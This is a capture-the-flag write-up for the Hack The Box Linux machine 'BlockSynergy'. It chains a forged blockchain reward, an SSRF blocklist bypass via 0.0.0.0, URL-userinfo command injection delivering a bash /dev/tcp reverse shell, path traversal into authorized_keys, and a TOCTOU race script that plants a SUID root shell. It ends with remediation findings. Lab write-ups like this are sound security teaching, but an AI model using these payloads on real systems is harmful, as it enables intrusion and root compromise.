back to writeups

BlockSynergy

Hack The Box · Season 11, Week 13 · completed 2 September 2026 · app.hackthebox.com/machines/BlockSynergy
Machine rank #835 Linux Insane Season 11 Blockchain SSRF Command injection TOCTOU race User Root ● Completed
TL;DR A Linux box that stacks blockchain logic flaws on top of a very ordinary set of web and Unix mistakes: a wallet endpoint that accepted a forged coinbase reward, an SSRF blocklist that never heard of 0.0.0.0, command injection through the userinfo half of a URL, a smart-contract debug hook with path traversal into authorized_keys, FTP credentials sitting in root's process arguments, and finally a TOCTOU race between sha256sum and tar that turned a backup restore into a SUID root shell.
The chain in one line wallet creation → forged blockchain reward → VIP node access → SSRF to the localhost admin panel → command injection → shell as walter → smart-contract path traversal → SSH as hank → exposed FTP credentials → restore-archive TOCTOU race → SUID root shell.
Target
blocksynergy.htb
Host OS
Linux
Foothold
Forged reward → SSRF (0.0.0.0 bypass) → command injection in ping_node
Privesc
Contract-hook path traversal → hank → restore-archive TOCTOU → root
Time to root
~1 hour, including lost shells and race troubleshooting

01Enumeration

echo '<target> blocksynergy.htb' | sudo tee -a /etc/hosts
nmap -sC -sV -p- -oA blocksynergy <target>
PortServiceNotes
22sshOpenSSH
8080httpWerkzeug / Flask — blockchain dashboard, wallet and VIP features

02Wallet creation and VIP access

A wallet is created through /dashboard/wallet, and the response hands back both keys:

curl -sS -L -c cookies.txt -b cookies.txt \
  -X POST \
  -F 'action=create' \
  -F 'filename=blocksynergy' \
  http://blocksynergy.htb:8080/dashboard/wallet \
  -o wallet.json

The application then accepts a forged coinbase-style transaction — no mining, no valid signature, just the magic sender name:

PUB=$(jq -r '.public_key' wallet.json)

jq -n \
  --arg receiver "$PUB" \
  --arg timestamp "$(date '+%Y-%m-%d %H:%M:%S.%6N')" \
  '{
    sender: "Blockchain_Reward",
    receiver: $receiver,
    amount: 100,
    signature: "Blockchain",
    timestamp: $timestamp
  }' > reward.json

curl -sS -c cookies.txt -b cookies.txt \
  -H 'Content-Type: application/json' \
  --data @reward.json \
  http://blocksynergy.htb:8080/broadcast_transaction
# Added!

The resulting balance is enough to unlock the VIP node-management panel.

Root cause

Reward transactions trusted by name

The transaction endpoint trusted the special Blockchain_Reward sender and every attacker-controlled field alongside it. It never enforced a legitimate mining workflow, and never validated the reward transaction cryptographically.

03SSRF into the admin panel

The VIP panel lets a user register and test node URLs. Its blocklist rejects the obvious loopback spellings — 127.0.0.1, localhost, [::1] — and happily accepts 0.0.0.0.

curl -sS -L -c cookies.txt -b cookies.txt \
  --data-urlencode 'action=register' \
  --data-urlencode 'node=http://0.0.0.0:8080/admin/nodes/manage' \
  http://blocksynergy.htb:8080/dashboard/vip/nodes \
  -o register.html

curl -sS -b cookies.txt \
  http://blocksynergy.htb:8080/dashboard/vip/nodes/test_node/0

Testing the node makes the server request its own localhost-only admin interface. On Linux, 0.0.0.0 reaches a locally bound service — it is just another spelling of the loopback destination, and an incomplete hostname blocklist never covers all of them.

04Command injection in ping_node

The admin node-management page exposes a ping_node action. URL parsing validates the hostname, but the raw userinfo portion of the supplied URL is later handed to a shell. So the parser sees 0.0.0.0 while the shell sees metacharacters:

http://x;<COMMAND>;a@0.0.0.0:8080/

A time-based probe confirms blind execution — injecting $(sleep 5) makes the request take about five seconds.

05Reverse shell as walter

Slashes in the payload fight with URL parsing, so the reverse-shell command is hex-encoded locally and rebuilt with xxd on the target.

sudo ip link set dev tun0 mtu 1300
rlwrap nc -lvnp 4444
LHOST=<tun0-ip>
LPORT=4444

CMD="bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
HEX=$(printf '%s' "$CMD" | xxd -p -c 999)

INJECT=$(printf '%s' \
  'http' \
  '://x;echo${IFS}' \
  "$HEX" \
  '|xxd${IFS}-r${IFS}-p|bash;a@0.0.0.0:8080/')

ENC=$(python3 -c \
  'import sys,urllib.parse; print(urllib.parse.quote(sys.argv[1], safe=""))' \
  "$INJECT")

TRIGGER=$(printf '%s' \
  'http' \
  '://0.0.0.0:8080/admin/nodes/manage?action=ping_node&target=' \
  "$ENC")

Register the node, find its index via /nodes, then trigger it:

curl -sS -L -c cookies.txt -b cookies.txt \
  --data-urlencode 'action=register' \
  --data-urlencode "node=$TRIGGER" \
  http://blocksynergy.htb:8080/dashboard/vip/nodes \
  -o shell-node.html

curl -sS http://blocksynergy.htb:8080/nodes -o nodes.json

NODE_ID=$(jq -r --arg u "$TRIGGER" \
  'to_entries[] | select(.value==$u) | .key' \
  nodes.json | tail -n1)

curl --max-time 10 -sS -b cookies.txt \
  "http://blocksynergy.htb:8080/dashboard/vip/nodes/test_node/$NODE_ID" \
  -o /dev/null
uid=1000(walter) gid=1000(walter) groups=1000(walter)
user.txt<redacted>

06Local enumeration

As walter, the interesting surface is all internal:

WhatDetail
127.0.0.1:5000Flask smart-contract application, running as hank
127.0.0.1:15432FTP service in a container
/opt/blocksynergyowned hank:developers, group-writable
/var/restore_workowned root:developers, mode 0775
root cronperiodically runs the backup and restore scripts

The trust relationships that matter:

07Smart-contract path traversal → SSH as hank

The Flask app on 5000 has a smart-contract debug hook. The contract's log_file metadata is appended to a fixed logs directory with no traversal sanitising:

logfile = f"/opt/staging/smart_contracts/logs/{log_file}"

When the hook fires, attacker-controlled log_content is appended to whatever path that resolves to. Point it at hank's authorized_keys:

ssh-keygen -q -t ed25519 -N '' -f /tmp/hankkey

python3 -c '
import json
p = open("/tmp/hankkey.pub").read().strip()
d = {
    "name": "debug",
    "owner": "Developer",
    "logic": {"claim": "allow"},
    "storage": {},
    "debug": "True",
    "hooks": {"on_claim": "log"},
    "__meta__": {
        "log_file": "../../../../home/hank/.ssh/authorized_keys",
        "log_content": {"on_claim": "\n" + p}
    }
}
json.dump(d, open("/tmp/contract.json", "w"))
'
curl -sS -c /tmp/hank.cookies -b /tmp/hank.cookies \
  -F 'action=upload_contract' \
  -F 'contract_file=@/tmp/contract.json;type=application/json' \
  http://127.0.0.1:5000/dashboard \
  -o /tmp/upload.html

curl -sS -c /tmp/hank.cookies -b /tmp/hank.cookies \
  --data 'action=contract_claim' \
  http://127.0.0.1:5000/dashboard \
  -o /tmp/claim.html

ssh -o StrictHostKeyChecking=no -i /tmp/hankkey hank@127.0.0.1
uid=1001(hank) gid=1003(hank) groups=1003(hank),1001(developers)

08Backup and restore analysis

pspy64 watches root's processes without needing root:

/tmp/pspy64 -p -i 10

The backup job puts its FTP credentials straight into the command line, where anyone local can read them:

curl -T <archive> ftp://ftpuser:<ftp-password>@127.0.0.1:15432/upload/<archive>

The restore daemon runs as root and watches for a marker file. Its workflow:

  1. Download _opt_blocksynergy.tar.gz into /var/restore_work.
  2. Calculate its SHA-256.
  3. Compare against a trusted manifest.
  4. Extract that same pathname into /.
curl ftp://ftpuser:<ftp-password>@127.0.0.1:15432/upload/_opt_blocksynergy.tar.gz \
  -o /var/restore_work/_opt_blocksynergy.tar.gz
sha256sum /var/restore_work/_opt_blocksynergy.tar.gz
tar xvf /var/restore_work/_opt_blocksynergy.tar.gz -C /
Root cause

Verify and extract open the file separately

Checksum verification and extraction each open the archive by pathname. Because hank can rename files inside /var/restore_work, the validated pathname can be replaced after sha256sum has opened it and before tar opens it — a textbook TOCTOU.

09The malicious restore archive

mkdir -p /tmp/evil/opt/blocksynergy
cp /bin/bash /tmp/evil/opt/blocksynergy/rootshell
chmod 4755 /tmp/evil/opt/blocksynergy/rootshell

tar --owner=0 --group=0 --numeric-owner \
  -czf /tmp/evil.tar.gz \
  -C /tmp/evil opt/blocksynergy/rootshell

tar -tvzf /tmp/evil.tar.gz
# -rwsr-xr-x 0/0 ... opt/blocksynergy/rootshell

10Winning the race

inotifywait is not installed, so Python ctypes calls the inotify API directly. The malicious archive is staged as a hidden file in the same directory, so the swap is an atomic rename:

TARGET=/var/restore_work/_opt_blocksynergy.tar.gz
READY=/var/restore_work/.evil-ready.tar.gz

cp /tmp/evil.tar.gz "$READY"
rm -f "$TARGET" /opt/blocksynergy/rootshell

The watcher waits for the legitimate FTP download to close the archive, then for the next IN_OPEN — which is sha256sum. That process already holds a descriptor to the legitimate inode, so the pathname can be swapped immediately; root's subsequent tar opens the replacement.

import ctypes
import os
import struct

directory = b"/var/restore_work"
filename = "_opt_blocksynergy.tar.gz"
ready = "/var/restore_work/.evil-ready.tar.gz"
target = "/var/restore_work/_opt_blocksynergy.tar.gz"

IN_CLOSE_WRITE = 0x08
IN_OPEN = 0x20

libc = ctypes.CDLL("libc.so.6", use_errno=True)
fd = libc.inotify_init1(0)
libc.inotify_add_watch(fd, directory, IN_CLOSE_WRITE | IN_OPEN)

download_finished = False
print("watcher ready", flush=True)

while True:
    data = os.read(fd, 4096)
    offset = 0

    while offset < len(data):
        wd, mask, cookie, length = struct.unpack_from("iIII", data, offset)
        offset += 16
        name = data[offset:offset + length].split(b"\0", 1)[0].decode()
        offset += length

        if name != filename:
            continue

        if mask & IN_CLOSE_WRITE:
            download_finished = True
            print("download closed", flush=True)
        elif download_finished and mask & IN_OPEN:
            os.replace(ready, target)
            print("archive swapped", flush=True)
            raise SystemExit

With the watcher running, trigger the restore:

touch /opt/blocksynergy/restore
# watcher ready
# download closed
# archive swapped

ls -l /opt/blocksynergy/rootshell
# -rwsr-xr-x 1 root root ... /opt/blocksynergy/rootshell

/opt/blocksynergy/rootshell -p
# uid=1001(hank) euid=0(root) ...
root.txt<redacted>

11If this were your environment

Finding 1 · Critical

Unvalidated reward transactions and SSRF via an incomplete blocklist

Balance — and with it the VIP feature tier — could be forged by naming the sender Blockchain_Reward. The VIP node feature then fetched attacker-supplied URLs, guarded only by a list of loopback spellings that omitted 0.0.0.0.

How I would fix it
NIST 800-53 r5: SI-10 input validation · SC-7 boundary protection · AC-4 information-flow enforcement · AC-3 access enforcement
OWASP: SSRF Prevention Cheat Sheet — allow-list destinations, block internal ranges
Finding 2 · Critical

Command injection through the URL userinfo component

The hostname was validated, but a different part of the same URL — the userinfo — was passed unquoted to a shell. Validating one component and consuming another is the whole bug.

How I would fix it
NIST 800-53 r5: SI-10 input validation · CM-7 least functionality · AC-6 least privilege
CWE: CWE-78 OS command injection · CWE-20 improper input validation
Finding 3 · High

Path traversal in contract metadata, and credentials in process arguments

A debug hook wrote attacker-controlled content to an attacker-controlled relative path, which reached ~/.ssh/authorized_keys. Separately, root's backup job embedded the FTP password in its command line, where any local user with pspy could read it.

How I would fix it
NIST 800-53 r5: SI-10 input validation · IA-5 authenticator management · AC-6 least privilege · CM-7 least functionality
CWE: CWE-22 path traversal · CWE-214 exposure of sensitive information through process arguments
Finding 4 · Critical

Root extracts archives from a group-writable directory after a separate checksum

The restore job verified an archive and then re-opened it by pathname to extract it as root, from a directory writable by a non-admin group. An atomic rename between the two opens replaced a trusted archive with a SUID-root payload.

How I would fix it
NIST 800-53 r5: SI-7 software & information integrity · AC-6 least privilege · CM-5 access restrictions for change · AC-3 access enforcement
CWE: CWE-367 TOCTOU race condition · CWE-732 incorrect permission assignment

12Detection — the blue-team side

13Takeaways

◆If this were my environment

Several validation failures were chained: SSRF, command injection, traversal and a race in a privileged backup/restore path. I would repair the trust boundaries first, then constrain the blast radius of each worker.

Priority controls
  • Allow-list outbound destinations and protocols, validate every redirect, and enforce egress controls outside the application.
  • Replace shell command construction with fixed APIs and argument arrays; canonicalize paths and require them to remain beneath an approved root.
  • Make backup and restore operations atomic, root-owned and symlink-safe; open files by descriptor and verify ownership and inode state before use.
  • Remove unnecessary SUID files and isolate blockchain, web and maintenance functions under separate service identities.

Hardening guides and benchmarks

These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.

Operational note CIS and DISA profiles can affect compatibility. Apply them through version-controlled policy, start in audit mode where supported, test business workloads and record every exception with an owner and review date.

back to writeups